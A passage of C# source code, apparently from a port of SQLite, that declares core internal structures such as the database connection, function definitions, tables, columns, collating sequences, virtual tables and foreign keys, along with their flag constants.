mxOut; /* Highwater mark for nOut */ public LookasideSlot pFree; /* List of available buffers */ public int pStart; /* First byte of available memory space */ public int pEnd; /* First byte past end of available space */ }; public class LookasideSlot { public LookasideSlot pNext; /* Next buffer in the list of free buffers */ }; /* ** A hash table for function definitions. ** ** Hash each FuncDef structure into one of the FuncDefHash.a[] slots. ** Collisions are on the FuncDef.pHash chain. */ public class FuncDefHash { public FuncDef[] a = new FuncDef[23]; /* Hash table for functions */ }; /* ** Each database is an instance of the following structure. ** ** The sqlite.lastRowid records the last insert rowid generated by an ** insert statement. Inserts on views do not affect its value. Each ** trigger has its own context, so that lastRowid can be updated inside ** triggers as usual. The previous value will be restored once the trigger ** exits. Upon entering a before or instead of trigger, lastRowid is no ** longer (since after version 2.8.12) reset to -1. ** ** The sqlite.nChange does not count changes within triggers and keeps no ** context. It is reset at start of sqlite3_exec. ** The sqlite.lsChange represents the number of changes made by the last ** insert, update, or delete statement. It remains constant throughout the ** length of a statement and is then updated by OP_SetCounts. It keeps a ** context stack just like lastRowid so that the count of changes ** within a trigger is not seen outside the trigger. Changes to views do not ** affect the value of lsChange. ** The sqlite.csChange keeps track of the number of current changes (since ** the last statement) and is used to update sqlite_lsChange. ** ** The member variables sqlite.errCode, sqlite.zErrMsg and sqlite.zErrMsg16 ** store the most recent error code and, if applicable, string. The ** internal function sqlite3Error() is used to set these variables ** consistently. */ public class sqlite3 { public sqlite3_vfs pVfs; /* OS Interface */ public int nDb; /* Number of backends currently in use */ public Db[] aDb = new Db[SQLITE_MAX_ATTACHED]; /* All backends */ public int flags; /* Miscellaneous flags. See below */ public int openFlags; /* Flags passed to sqlite3_vfs.xOpen() */ public int errCode; /* Most recent error code (SQLITE_*) */ public int errMask; /* & result codes with this before returning */ public u8 autoCommit; /* The auto-commit flag. */ public u8 temp_store; /* 1: file 2: memory 0: default */ // Cannot happen under C# // public u8 mallocFailed; /* True if we have seen a malloc failure */ public u8 dfltLockMode; /* Default locking-mode for attached dbs */ public u8 dfltJournalMode; /* Default journal mode for attached dbs */ public int nextAutovac; /* Autovac setting after VACUUM if >=0 */ public int nextPagesize; /* Pagesize after VACUUM if >0 */ public int nTable; /* Number of tables in the database */ public CollSeq pDfltColl; /* The default collating sequence (BINARY) */ public i64 lastRowid; /* ROWID of most recent insert (see above) */ public u32 magic; /* Magic number for detect library misuse */ public int nChange; /* Value returned by sqlite3_changes() */ public int nTotalChange; /* Value returned by sqlite3_total_changes() */ public sqlite3_mutex mutex; /* Connection mutex */ public int[] aLimit = new int[SQLITE_N_LIMIT]; /* Limits */ public class sqlite3InitInfo { /* Information used during initialization */ public int iDb; /* When back is being initialized */ public int newTnum; /* Rootpage of table being initialized */ public u8 busy; /* TRUE if currently initializing */ public u8 orphanTrigger; /* Last statement is orphaned TEMP trigger */ }; public sqlite3InitInfo init = new sqlite3InitInfo(); public int nExtension; /* Number of loaded extensions */ public object[] aExtension; /* Array of shared library handles */ public Vdbe pVdbe; /* List of active virtual machines */ public int activeVdbeCnt; /* Number of VDBEs currently executing */ public int writeVdbeCnt; /* Number of active VDBEs that are writing */ public dxTrace xTrace;//)(void*,const char*); /* Trace function */ public object pTraceArg; /* Argument to the trace function */ public dxProfile xProfile;//)(void*,const char*,u64); /* Profiling function */ public object pProfileArg; /* Argument to profile function */ public object pCommitArg; /* Argument to xCommitCallback() */ public dxCommitCallback xCommitCallback;//)(void*); /* Invoked at every commit. */ public object pRollbackArg; /* Argument to xRollbackCallback() */ public dxRollbackCallback xRollbackCallback;//)(void*); /* Invoked at every commit. */ public object pUpdateArg; public dxUpdateCallback xUpdateCallback;//)(void*,int, const char*,const char*,sqlite_int64); public dxCollNeeded xCollNeeded;//)(void*,sqlite3*,int eTextRep,const char*); public dxCollNeeded xCollNeeded16;//)(void*,sqlite3*,int eTextRep,const void*); public object pCollNeededArg; public sqlite3_value pErr; /* Most recent error message */ public string zErrMsg; /* Most recent error message (UTF-8 encoded) */ public string zErrMsg16; /* Most recent error message (UTF-16 encoded) */ public struct _u1 { public bool isInterrupted; /* True if sqlite3_interrupt has been called */ public double notUsed1; /* Spacer */ } public _u1 u1; public Lookaside lookaside = new Lookaside(); /* Lookaside malloc configuration */ #if !SQLITE_OMIT_AUTHORIZATION public dxAuth xAuth;//)(void*,int,const char*,const char*,const char*,const char*); /* Access authorization function */ public object pAuthArg; /* 1st argument to the access auth function */ #endif #if !SQLITE_OMIT_PROGRESS_CALLBACK public dxProgress xProgress;//)(void *); /* The progress callback */ public object pProgressArg; /* Argument to the progress callback */ public int nProgressOps; /* Number of opcodes for progress callback */ #endif #if !SQLITE_OMIT_VIRTUALTABLE public Hash aModule; /* populated by sqlite3_create_module() */ public Table pVTab; /* vtab with active Connect/Create method */ public VTable aVTrans; /* Virtual tables with open transactions */ public int nVTrans; /* Allocated size of aVTrans */ public VTable pDisconnect; /* Disconnect these in next sqlite3_prepare() */ #endif public FuncDefHash aFunc = new FuncDefHash(); /* Hash table of connection functions */ public Hash aCollSeq = new Hash(); /* All collating sequences */ public BusyHandler busyHandler = new BusyHandler(); /* Busy callback */ public int busyTimeout; /* Busy handler timeout, in msec */ public Db[] aDbStatic = new Db[] { new Db(), new Db() }; /* Static space for the 2 default backends */ public Savepoint pSavepoint; /* List of active savepoints */ public int nSavepoint; /* Number of non-transaction savepoints */ public int nStatement; /* Number of nested statement-transactions */ public u8 isTransactionSavepoint; /* True if the outermost savepoint is a TS */ #if SQLITE_ENABLE_UNLOCK_NOTIFY /* The following variables are all protected by the STATIC_MASTER ** mutex, not by sqlite3.mutex. They are used by code in notify.c. ** ** When X.pUnlockConnection==Y, that means that X is waiting for Y to ** unlock so that it can proceed. ** ** When X.pBlockingConnection==Y, that means that something that X tried ** tried to do recently failed with an SQLITE_LOCKED error due to locks ** held by Y. */ sqlite3 *pBlockingConnection; /* Connection that caused SQLITE_LOCKED */ sqlite3 *pUnlockConnection; /* Connection to watch for unlock */ void *pUnlockArg; /* Argument to xUnlockNotify */ void (*xUnlockNotify)(void **, int); /* Unlock notify callback */ sqlite3 *pNextBlocked; /* Next in list of all blocked connections */ #endif }; /* ** A macro to discover the encoding of a database. */ //#define ENC(db) ((db)->aDb[0].pSchema->enc) static u8 ENC( sqlite3 db ) { return db.aDb[0].pSchema.enc; } /* ** Possible values for the sqlite.flags and or Db.flags fields. ** ** On sqlite.flags, the SQLITE_InTrans value means that we have ** executed a BEGIN. On Db.flags, SQLITE_InTrans means a statement ** transaction is active on that particular database file. */ const int SQLITE_VdbeTrace = 0x00000001;//#define SQLITE_VdbeTrace 0x00000001 /* True to trace VDBE execution */ const int SQLITE_InTrans = 0x00000008;//#define SQLITE_InTrans 0x00000008 /* True if in a transaction */ const int SQLITE_InternChanges = 0x00000010;//#define SQLITE_InternChanges 0x00000010 /* Uncommitted Hash table changes */ const int SQLITE_FullColNames = 0x00000020;//#define SQLITE_FullColNames 0x00000020 /* Show full column names on SELECT */ const int SQLITE_ShortColNames = 0x00000040;//#define SQLITE_ShortColNames 0x00000040 /* Show short columns names */ const int SQLITE_CountRows = 0x00000080;//#define SQLITE_CountRows 0x00000080 /* Count rows changed by INSERT, */ // /* DELETE, or UPDATE and return */ // /* the count using a callback. */ const int SQLITE_NullCallback = 0x00000100; //#define SQLITE_NullCallback 0x00000100 /* Invoke the callback once if the */ // /* result set is empty */ const int SQLITE_SqlTrace = 0x00000200; //#define SQLITE_SqlTrace 0x00000200 /* Debug print SQL as it executes */ const int SQLITE_VdbeListing = 0x00000400; //#define SQLITE_VdbeListing 0x00000400 /* Debug listings of VDBE programs */ const int SQLITE_WriteSchema = 0x00000800; //#define SQLITE_WriteSchema 0x00000800 /* OK to update SQLITE_MASTER */ const int SQLITE_NoReadlock = 0x00001000; //#define SQLITE_NoReadlock 0x00001000 /* Readlocks are omitted when // ** accessing read-only databases */ const int SQLITE_IgnoreChecks = 0x00002000; //#define SQLITE_IgnoreChecks 0x00002000 /* Do not enforce check constraints */ const int SQLITE_ReadUncommitted = 0x00004000;//#define SQLITE_ReadUncommitted 0x00004000 /* For shared-cache mode */ const int SQLITE_LegacyFileFmt = 0x00008000; //#define SQLITE_LegacyFileFmt 0x00008000 /* Create new databases in format 1 */ const int SQLITE_FullFSync = 0x00010000; //#define SQLITE_FullFSync 0x00010000 /* Use full fsync on the backend */ const int SQLITE_LoadExtension = 0x00020000; //#define SQLITE_LoadExtension 0x00020000 /* Enable load_extension */ const int SQLITE_RecoveryMode = 0x00040000; //#define SQLITE_RecoveryMode 0x00040000 /* Ignore schema errors */ const int SQLITE_ReverseOrder = 0x00100000; //#define SQLITE_ReverseOrder 0x00100000 /* Reverse unordered SELECTs */ /* ** Possible values for the sqlite.magic field. ** The numbers are obtained at random and have no special meaning, other ** than being distinct from one another. */ const int SQLITE_MAGIC_OPEN = 0x1029a697; //#define SQLITE_MAGIC_OPEN 0xa029a697 /* Database is open */ const int SQLITE_MAGIC_CLOSED = 0x2f3c2d33; //#define SQLITE_MAGIC_CLOSED 0x9f3c2d33 /* Database is closed */ const int SQLITE_MAGIC_SICK = 0x3b771290; //#define SQLITE_MAGIC_SICK 0x4b771290 /* Error and awaiting close */ const int SQLITE_MAGIC_BUSY = 0x403b7906; //#define SQLITE_MAGIC_BUSY 0xf03b7906 /* Database currently in use */ const int SQLITE_MAGIC_ERROR = 0x55357930; //#define SQLITE_MAGIC_ERROR 0xb5357930 /* An SQLITE_MISUSE error occurred */ /* ** Each SQL function is defined by an instance of the following ** structure. A pointer to this structure is stored in the sqlite.aFunc ** hash table. When multiple functions have the same name, the hash table ** points to a linked list of these structures. */ public class FuncDef { public i16 nArg; /* Number of arguments. -1 means unlimited */ public u8 iPrefEnc; /* Preferred text encoding (SQLITE_UTF8, 16LE, 16BE) */ public u8 flags; /* Some combination of SQLITE_FUNC_* */ public object pUserData; /* User data parameter */ public FuncDef pNext; /* Next function with same name */ public dxFunc xFunc;//)(sqlite3_context*,int,sqlite3_value**); /* Regular function */ public dxStep xStep;//)(sqlite3_context*,int,sqlite3_value**); /* Aggregate step */ public dxFinal xFinalize;//)(sqlite3_context*); /* Aggregate finalizer */ public string zName; /* SQL name of the function. */ public FuncDef pHash; /* Next with a different name but the same hash */ public FuncDef() { } public FuncDef( i16 nArg, u8 iPrefEnc, u8 iflags, object pUserData, FuncDef pNext, dxFunc xFunc, dxStep xStep, dxFinal xFinalize, string zName, FuncDef pHash ) { this.nArg = nArg; this.iPrefEnc = iPrefEnc; this.flags = iflags; this.pUserData = pUserData; this.pNext = pNext; this.xFunc = xFunc; this.xStep = xStep; this.xFinalize = xFinalize; this.zName = zName; this.pHash = pHash; } public FuncDef( string zName, u8 iPrefEnc, i16 nArg, int iArg, u8 iflags, dxFunc xFunc ) { this.nArg = nArg; this.iPrefEnc = iPrefEnc; this.flags = iflags; this.pUserData = iArg; this.pNext = null; this.xFunc = xFunc; this.xStep = null; this.xFinalize = null; this.zName = zName; } public FuncDef( string zName, u8 iPrefEnc, i16 nArg, int iArg, u8 iflags, dxStep xStep, dxFinal xFinal ) { this.nArg = nArg; this.iPrefEnc = iPrefEnc; this.flags = iflags; this.pUserData = iArg; this.pNext = null; this.xFunc = null; this.xStep = xStep; this.xFinalize = xFinal; this.zName = zName; } public FuncDef( string zName, u8 iPrefEnc, i16 nArg, object arg, dxFunc xFunc, u8 flags ) { this.nArg = nArg; this.iPrefEnc = iPrefEnc; this.flags = flags; this.pUserData = arg; this.pNext = null; this.xFunc = xFunc; this.xStep = null; this.xFinalize = null; this.zName = zName; } }; /* ** Possible values for FuncDef.flags */ //#define SQLITE_FUNC_LIKE 0x01 /* Candidate for the LIKE optimization */ //#define SQLITE_FUNC_CASE 0x02 /* Case-sensitive LIKE-type function */ //#define SQLITE_FUNC_EPHEM 0x04 /* Ephemeral. Delete with VDBE */ //#define SQLITE_FUNC_NEEDCOLL 0x08 /* sqlite3GetFuncCollSeq() might be called */ //#define SQLITE_FUNC_PRIVATE 0x10 /* Allowed for internal use only */ //#define SQLITE_FUNC_COUNT 0x20 /* Built-in count(*) aggregate */ const int SQLITE_FUNC_LIKE = 0x01; /* Candidate for the LIKE optimization */ const int SQLITE_FUNC_CASE = 0x02; /* Case-sensitive LIKE-type function */ const int SQLITE_FUNC_EPHEM = 0x04; /* Ephermeral. Delete with VDBE */ const int SQLITE_FUNC_NEEDCOLL = 0x08;/* sqlite3GetFuncCollSeq() might be called */ const int SQLITE_FUNC_PRIVATE = 0x10; /* Allowed for internal use only */ const int SQLITE_FUNC_COUNT = 0x20; /* Built-in count(*) aggregate */ /* ** The following three macros, FUNCTION(), LIKEFUNC() and AGGREGATE() are ** used to create the initializers for the FuncDef structures. ** ** FUNCTION(zName, nArg, iArg, bNC, xFunc) ** Used to create a scalar function definition of a function zName ** implemented by C function xFunc that accepts nArg arguments. The ** value passed as iArg is cast to a (void*) and made available ** as the user-data (sqlite3_user_data()) for the function. If ** argument bNC is true, then the SQLITE_FUNC_NEEDCOLL flag is set. ** ** AGGREGATE(zName, nArg, iArg, bNC, xStep, xFinal) ** Used to create an aggregate function definition implemented by ** the C functions xStep and xFinal. The first four parameters ** are interpreted in the same way as the first 4 parameters to ** FUNCTION(). ** ** LIKEFUNC(zName, nArg, pArg, flags) ** Used to create a scalar function definition of a function zName ** that accepts nArg arguments and is implemented by a call to C ** function likeFunc. Argument pArg is cast to a (void *) and made ** available as the function user-data (sqlite3_user_data()). The ** FuncDef.flags variable is set to the value passed as the flags ** parameter. */ //#define FUNCTION(zName, nArg, iArg, bNC, xFunc) \ // {nArg, SQLITE_UTF8, bNC*SQLITE_FUNC_NEEDCOLL, \ //SQLITE_INT_TO_PTR(iArg), 0, xFunc, 0, 0, #zName, 0} static FuncDef FUNCTION( string zName, i16 nArg, int iArg, u8 bNC, dxFunc xFunc ) { return new FuncDef( zName, SQLITE_UTF8, nArg, iArg, (u8)( bNC * SQLITE_FUNC_NEEDCOLL ), xFunc ); } //#define STR_FUNCTION(zName, nArg, pArg, bNC, xFunc) \ // {nArg, SQLITE_UTF8, bNC*SQLITE_FUNC_NEEDCOLL, \ //pArg, 0, xFunc, 0, 0, #zName, 0} //#define LIKEFUNC(zName, nArg, arg, flags) \ // {nArg, SQLITE_UTF8, flags, (void *)arg, 0, likeFunc, 0, 0, #zName, 0} static FuncDef LIKEFUNC( string zName, i16 nArg, object arg, u8 flags ) { return new FuncDef( zName, SQLITE_UTF8, nArg, arg, likeFunc, flags ); } //#define AGGREGATE(zName, nArg, arg, nc, xStep, xFinal) \ // {nArg, SQLITE_UTF8, nc*SQLITE_FUNC_NEEDCOLL, \ //SQLITE_INT_TO_PTR(arg), 0, 0, xStep,xFinal,#zName,0} static FuncDef AGGREGATE( string zName, i16 nArg, int arg, u8 nc, dxStep xStep, dxFinal xFinal ) { return new FuncDef( zName, SQLITE_UTF8, nArg, arg, (u8)( nc * SQLITE_FUNC_NEEDCOLL ), xStep, xFinal ); } /* ** All current savepoints are stored in a linked list starting at ** sqlite3.pSavepoint. The first element in the list is the most recently ** opened savepoint. Savepoints are added to the list by the vdbe ** OP_Savepoint instruction. */ //struct Savepoint { // char *zName; /* Savepoint name (nul-terminated) */ // Savepoint *pNext; /* Parent savepoint (if any) */ //}; public class Savepoint { public string zName; /* Savepoint name (nul-terminated) */ public Savepoint pNext; /* Parent savepoint (if any) */ }; /* ** The following are used as the second parameter to sqlite3Savepoint(), ** and as the P1 argument to the OP_Savepoint instruction. */ const int SAVEPOINT_BEGIN = 0; //#define SAVEPOINT_BEGIN 0 const int SAVEPOINT_RELEASE = 1; //#define SAVEPOINT_RELEASE 1 const int SAVEPOINT_ROLLBACK = 2; //#define SAVEPOINT_ROLLBACK 2 /* ** Each SQLite module (virtual table definition) is defined by an ** instance of the following structure, stored in the sqlite3.aModule ** hash table. */ public class Module { public sqlite3_module pModule; /* Callback pointers */ public string zName; /* Name passed to create_module() */ public object pAux; /* pAux passed to create_module() */ public dxDestroy xDestroy;//)(void *); /* Module destructor function */ }; /* ** information about each column of an SQL table is held in an instance ** of this structure. */ public class Column { public string zName; /* Name of this column */ public Expr pDflt; /* Default value of this column */ public string zDflt; /* Original text of the default value */ public string zType; /* Data type for this column */ public string zColl; /* Collating sequence. If NULL, use the default */ public u8 notNull; /* True if there is a NOT NULL constraint */ public u8 isPrimKey; /* True if this column is part of the PRIMARY KEY */ public char affinity; /* One of the SQLITE_AFF_... values */ #if !SQLITE_OMIT_VIRTUALTABLE public u8 isHidden; /* True if this column is 'hidden' */ #endif public Column Copy() { Column cp = (Column)MemberwiseClone(); if ( cp.pDflt != null ) cp.pDflt = pDflt.Copy(); return cp; } }; /* ** A "Collating Sequence" is defined by an instance of the following ** structure. Conceptually, a collating sequence consists of a name and ** a comparison routine that defines the order of that sequence. ** ** There may two separate implementations of the collation function, one ** that processes text in UTF-8 encoding (CollSeq.xCmp) and another that ** processes text encoded in UTF-16 (CollSeq.xCmp16), using the machine ** native byte order. When a collation sequence is invoked, SQLite selects ** the version that will require the least expensive encoding ** translations, if any. ** ** The CollSeq.pUser member variable is an extra parameter that passed in ** as the first argument to the UTF-8 comparison function, xCmp. ** CollSeq.pUser16 is the equivalent for the UTF-16 comparison function, ** xCmp16. ** ** If both CollSeq.xCmp and CollSeq.xCmp16 are NULL, it means that the ** collating sequence is undefined. Indices built on an undefined ** collating sequence may not be read or written. */ public class CollSeq { public string zName; /* Name of the collating sequence, UTF-8 encoded */ public u8 enc; /* Text encoding handled by xCmp() */ public u8 type; /* One of the SQLITE_COLL_... values below */ public object pUser; /* First argument to xCmp() */ public dxCompare xCmp;//)(void*,int, const void*, int, const void*); public dxDelCollSeq xDel;//)(void*); /* Destructor for pUser */ public CollSeq Copy() { if ( this == null ) return null; else { CollSeq cp = (CollSeq)MemberwiseClone(); return cp; } } }; /* ** Allowed values of CollSeq.type: */ const int SQLITE_COLL_BINARY = 1;//#define SQLITE_COLL_BINARY 1 /* The default memcmp() collating sequence */ const int SQLITE_COLL_NOCASE = 2;//#define SQLITE_COLL_NOCASE 2 /* The built-in NOCASE collating sequence */ const int SQLITE_COLL_REVERSE = 3;//#define SQLITE_COLL_REVERSE 3 /* The built-in REVERSE collating sequence */ const int SQLITE_COLL_USER = 0;//#define SQLITE_COLL_USER 0 /* Any other user-defined collating sequence */ /* ** A sort order can be either ASC or DESC. */ const int SQLITE_SO_ASC = 0;//#define SQLITE_SO_ASC 0 /* Sort in ascending order */ const int SQLITE_SO_DESC = 1;//#define SQLITE_SO_DESC 1 /* Sort in ascending order */ /* ** Column affinity types. ** ** These used to have mnemonic name like 'i' for SQLITE_AFF_INTEGER and ** 't' for SQLITE_AFF_TEXT. But we can save a little space and improve ** the speed a little by numbering the values consecutively. ** ** But rather than start with 0 or 1, we begin with 'a'. That way, ** when multiple affinity types are concatenated into a string and ** used as the P4 operand, they will be more readable. ** ** Note also that the numeric types are grouped together so that testing ** for a numeric type is a single comparison. */ const char SQLITE_AFF_TEXT = 'a';//#define SQLITE_AFF_TEXT 'a' const char SQLITE_AFF_NONE = 'b';//#define SQLITE_AFF_NONE 'b' const char SQLITE_AFF_NUMERIC = 'c';//#define SQLITE_AFF_NUMERIC 'c' const char SQLITE_AFF_INTEGER = 'd';//#define SQLITE_AFF_INTEGER 'd' const char SQLITE_AFF_REAL = 'e';//#define SQLITE_AFF_REAL 'e' //#define sqlite3IsNumericAffinity(X) ((X)>=SQLITE_AFF_NUMERIC) /* ** The SQLITE_AFF_MASK values masks off the significant bits of an ** affinity value. */ const int SQLITE_AFF_MASK = 0x67;//#define SQLITE_AFF_MASK 0x67 /* ** Additional bit values that can be ORed with an affinity without ** changing the affinity. */ const int SQLITE_JUMPIFNULL = 0x08;//#define SQLITE_JUMPIFNULL 0x08 /* jumps if either operand is NULL */ const int SQLITE_STOREP2 = 0x10; //#define SQLITE_STOREP2 0x10 /* Store result in reg[P2] rather than jump */ /* ** An object of this type is created for each virtual table present in ** the database schema. ** ** If the database schema is shared, then there is one instance of this ** structure for each database connection (sqlite3*) that uses the shared ** schema. This is because each database connection requires its own unique ** instance of the sqlite3_vtab* handle used to access the virtual table ** implementation. sqlite3_vtab* handles can not be shared between ** database connections, even when the rest of the in-memory database ** schema is shared, as the implementation often stores the database ** connection handle passed to it via the xConnect() or xCreate() method ** during initialization internally. This database connection handle may ** then used by the virtual table implementation to access real tables ** within the database. So that they appear as part of the callers ** transaction, these accesses need to be made via the same database ** connection as that used to execute SQL operations on the virtual table. ** ** All VTable objects that correspond to a single table in a shared ** database schema are initially stored in a linked-list pointed to by ** the Table.pVTable member variable of the corresponding Table object. ** When an sqlite3_prepare() operation is required to access the virtual ** table, it searches the list for the VTable that corresponds to the ** database connection doing the preparing so as to use the correct ** sqlite3_vtab* handle in the compiled query. ** ** When an in-memory Table object is deleted (for example when the ** schema is being reloaded for some reason), the VTable objects are not ** deleted and the sqlite3_vtab* handles are not xDisconnect()ed ** immediately. Instead, they are moved from the Table.pVTable list to ** another linked list headed by the sqlite3.pDisconnect member of the ** corresponding sqlite3 structure. They are then deleted/xDisconnected ** next time a statement is prepared using said sqlite3*. This is done ** to avoid deadlock issues involving multiple sqlite3.mutex mutexes. ** Refer to comments above function sqlite3VtabUnlockList() for an ** explanation as to why it is safe to add an entry to an sqlite3.pDisconnect ** list without holding the corresponding sqlite3.mutex mutex. ** ** The memory for objects of this type is always allocated by ** sqlite3DbMalloc(), using the connection handle stored in VTable.db as ** the first argument. */ public class VTable { public sqlite3 db; /* Database connection associated with this table */ public Module pMod; /* Pointer to module implementation */ public sqlite3_vtab pVtab; /* Pointer to vtab instance */ public int nRef; /* Number of pointers to this structure */ public VTable pNext; /* Next in linked list (see above) */ }; /* ** Each SQL table is represented in memory by an instance of the ** following structure. ** ** Table.zName is the name of the table. The case of the original ** CREATE TABLE statement is stored, but case is not significant for ** comparisons. ** ** Table.nCol is the number of columns in this table. Table.aCol is a ** pointer to an array of Column structures, one for each column. ** ** If the table has an INTEGER PRIMARY KEY, then Table.iPKey is the index of ** the column that is that key. Otherwise Table.iPKey is negative. Note ** that the datatype of the PRIMARY KEY must be INTEGER for this field to ** be set. An INTEGER PRIMARY KEY is used as the rowid for each row of ** the table. If a table has no INTEGER PRIMARY KEY, then a random rowid ** is generated for each row of the table. TF_HasPrimaryKey is set if ** the table has any PRIMARY KEY, INTEGER or otherwise. ** ** Table.tnum is the page number for the root BTree page of the table in the ** database file. If Table.iDb is the index of the database table backend ** in sqlite.aDb[]. 0 is for the main database and 1 is for the file that ** holds temporary tables and indices. If TF_Ephemeral is set ** then the table is stored in a file that is automatically deleted ** when the VDBE cursor to the table is closed. In this case Table.tnum ** refers VDBE cursor number that holds the table open, not to the root ** page number. Transient tables are used to hold the results of a ** sub-query that appears instead of a real table name in the FROM clause ** of a SELECT statement. */ public class Table { public sqlite3 dbMem; /* DB connection used for lookaside allocations. */ public string zName; /* Name of the table or view */ public int iPKey; /* If not negative, use aCol[iPKey] as the primary key */ public int nCol; /* Number of columns in this table */ public Column[] aCol; /* Information about each column */ public Index pIndex; /* List of SQL indexes on this table. */ public int tnum; /* Root BTree node for this table (see note above) */ public Select pSelect; /* NULL for tables. Points to definition if a view. */ public u16 nRef; /* Number of pointers to this Table */ public u8 tabFlags; /* Mask of TF_* values */ public u8 keyConf; /* What to do in case of uniqueness conflict on iPKey */ public FKey pFKey; /* Linked list of all foreign keys in this table */ public string zColAff; /* String defining the affinity of each column */ #if !SQLITE_OMIT_CHECK public Expr pCheck; /* The AND of all CHECK constraints */ #endif #if !SQLITE_OMIT_ALTERTABLE public int addColOffset; /* Offset in CREATE TABLE stmt to add a new column */ #endif #if !SQLITE_OMIT_VIRTUALTABLE public VTable pVTable; /* List of VTable objects. */ public int nModuleArg; /* Number of arguments to the module */ public string[] azModuleArg;/* Text of all module args. [0] is module name */ #endif public Trigger pTrigger; /* List of SQL triggers on this table */ public Schema pSchema; /* Schema that contains this table */ public Table pNextZombie; /* Next on the Parse.pZombieTab list */ public Table Copy() { if ( this == null ) return null; else { Table cp = (Table)MemberwiseClone(); if ( pIndex != null ) cp.pIndex = pIndex.Copy(); if ( pSelect != null ) cp.pSelect = pSelect.Copy(); if ( pTrigger != null ) cp.pTrigger = pTrigger.Copy(); if ( pFKey != null ) cp.pFKey = pFKey.Copy(); #if !SQLITE_OMIT_CHECK // Don't Clone Checks, only copy reference via Memberwise Clone above -- //if ( pCheck != null ) cp.pCheck = pCheck.Copy(); #endif #if !SQLITE_OMIT_VIRTUALTABLE if ( pMod != null ) cp.pMod =pMod.Copy(); if ( pVtab != null ) cp.pVtab =pVtab.Copy(); #endif // Don't Clone Schema, only copy reference via Memberwise Clone above -- // if ( pSchema != null ) cp.pSchema=pSchema.Copy(); // Don't Clone pNextZombie, only copy reference via Memberwise Clone above -- // if ( pNextZombie != null ) cp.pNextZombie=pNextZombie.Copy(); return cp; } } }; /* ** Allowed values for Tabe.tabFlags. */ //#define TF_Readonly 0x01 /* Read-only system table */ //#define TF_Ephemeral 0x02 /* An ephemeral table */ //#define TF_HasPrimaryKey 0x04 /* Table has a primary key */ //#define TF_Autoincrement 0x08 /* Integer primary key is autoincrement */ //#define TF_Virtual 0x10 /* Is a virtual table */ //#define TF_NeedMetadata 0x20 /* aCol[].zType and aCol[].pColl missing */ /* ** Allowed values for Tabe.tabFlags. */ const int TF_Readonly = 0x01; /* Read-only system table */ const int TF_Ephemeral = 0x02; /* An ephemeral table */ const int TF_HasPrimaryKey = 0x04; /* Table has a primary key */ const int TF_Autoincrement = 0x08; /* Integer primary key is autoincrement */ const int TF_Virtual = 0x10; /* Is a virtual table */ const int TF_NeedMetadata = 0x20; /* aCol[].zType and aCol[].pColl missing */ /* ** Test to see whether or not a table is a virtual table. This is ** done as a macro so that it will be optimized out when virtual ** table support is omitted from the build. */ #if !SQLITE_OMIT_VIRTUALTABLE //# define IsVirtual(X) (((X)->tabFlags & TF_Virtual)!=0) static bool IsVirtual( Table X) { return (X.tabFlags & TF_Virtual)!=0;} //# define IsHiddenColumn(X) ((X)->isHidden) static bool IsVirtual( Column X) { return X.isHidden!=0;} #else //# define IsVirtual(X) 0 static bool IsVirtual( Table T ) { return false; } //# define IsHiddenColumn(X) 0 static bool IsHiddenColumn( Column C ) { return false; } #endif /* ** Each foreign key constraint is an instance of the following structure. ** ** A foreign key is associated with two tables. The "from" table is ** the table that contains the REFERENCES clause that creates the foreign ** key. The "to" table is the table that is named in the REFERENCES clause. ** Consider this example: ** ** CREATE TABLE ex1( ** a INTEGER PRIMARY KEY, ** b INTEGER CONSTRAINT fk1 REFERENCES ex2(x) ** ); ** ** For foreign key "fk1", the from-table is "ex1" and the to-table is "ex2". ** ** Each REFERENCES clause generates an instance of the following structure ** which is attached to the from-table. The to-table need not exist when ** the from-table is created. The existence of the to-table is not checked. */ public class FKey { public Table pFrom; /* The table that contains the REFERENCES clause */ public FKey pNextFrom; /* Next foreign key in pFrom */ public string zTo; /* Name of table that the key points to */ public int nCol; /* Number of columns in this key */ public u8 isDeferred; /* True if constraint checking is deferred till COMMIT */ public u8 updateConf; /* How to resolve conflicts that occur on UPDATE */ public u8 deleteConf; /* How to resolve conflicts that occur on DELETE */ public u8 insertConf; /* How to resolve conflicts that occur on INSERT */ public class sColMap { /* Mapping of columns in pFrom to columns in zTo */ public int iFrom; /* Index of column in pFrom */ public string zCol; /* Name of column in zTo. If 0 use PRIMARY KEY */ }; public sColMap[] aCol; /* One entry for each of nCol column s */ public FKey Copy() { if ( this == null ) return null; else { FKey cp = (FKey)MemberwiseClone(); if ( pFrom != null ) cp.pFrom = pFrom.Copy(); if ( pNextFrom != null ) cp.pNextFrom = pNextFrom.Copy(); Debugger.Break(); // Check on the sCollMap return cp; } } }; /* ** SQLite supports many different ways to resolve a constraint ** error. ROLLBACK processing means that a constraint violation ** causes the operation in process to fail and for the current transaction ** to be rolled back. ABORT processing means the operation in process ** fails and any prior changes from that one operation are backed out, ** but the transaction is not rolled back. FAIL processing means that ** the operation in progress stops and returns an error code. But prior ** changes due to the same operation are not backed out and no rollback ** occurs. IGNORE means that the particular row that caused the constraint ** error is not inserted or updated. Processing continues and no error ** is returned. REPLACE means that preexisting database rows that caused ** a UNIQUE constraint violation are removed so that the new insert or ** update can proceed. Processing continues and no error is reported. ** ** RESTRICT, SETNULL, and CASCADE actions apply only to foreign keys. ** RESTRICT is the same as ABORT for IMMEDIATE foreign keys and the ** same as ROLLBACK for DEFERRED keys. SETNULL means that the foreign ** key is set to NULL. CASCADE means that a DELETE or UPDATE of the ** referenced table row is propagated into the row that holds the ** foreign key. ** ** The following symbolic values are used to record which type ** of action to take. */ const int OE_None = 0;//#define OE_None 0 /* There is no constraint to check */ const int OE_Rollback = 1;//#define OE_Rollback 1 /* Fail the operation and rollback the transaction */ const int OE_Abort = 2;//#define OE_Abort 2 /* Back out changes but do no rollback transaction */ const int OE_Fail = 3;//#define OE_Fail 3 /* Stop the operation but leave all prior changes */ const int OE_Ignore = 4;//#define OE_Ignore 4 /* Ignore the error. Do not do the INSERT or UPDATE */ const int OE_Replace = 5;//#define OE_Replace 5 /* Delete existing record, then do INSERT or UPDATE */ const int OE_Restrict = 6;//#define OE_Restrict 6 /* OE_Abort for IMMEDIATE, OE_Rollback for DEFERRED */ const int OE_SetNull = 7;//#define OE_SetNull 7 /* Set the foreign key value to NULL */ const int OE_SetDflt = 8;//#define OE_SetDflt 8 /* Set the foreign key value to its default */ const int OE_Cascade = 9;//#define OE_Cascade 9 /* Cascade the changes */ const int OE_Default = 99;//#define OE_Default 99 /* Do whatever the default action is */ /* ** An instance of the following structure is passed as the first ** argument to sqlite3VdbeKeyCompare and is used to control the ** comparison of the two index keys. */ public class KeyInfo { public sqlite3 db; /* The 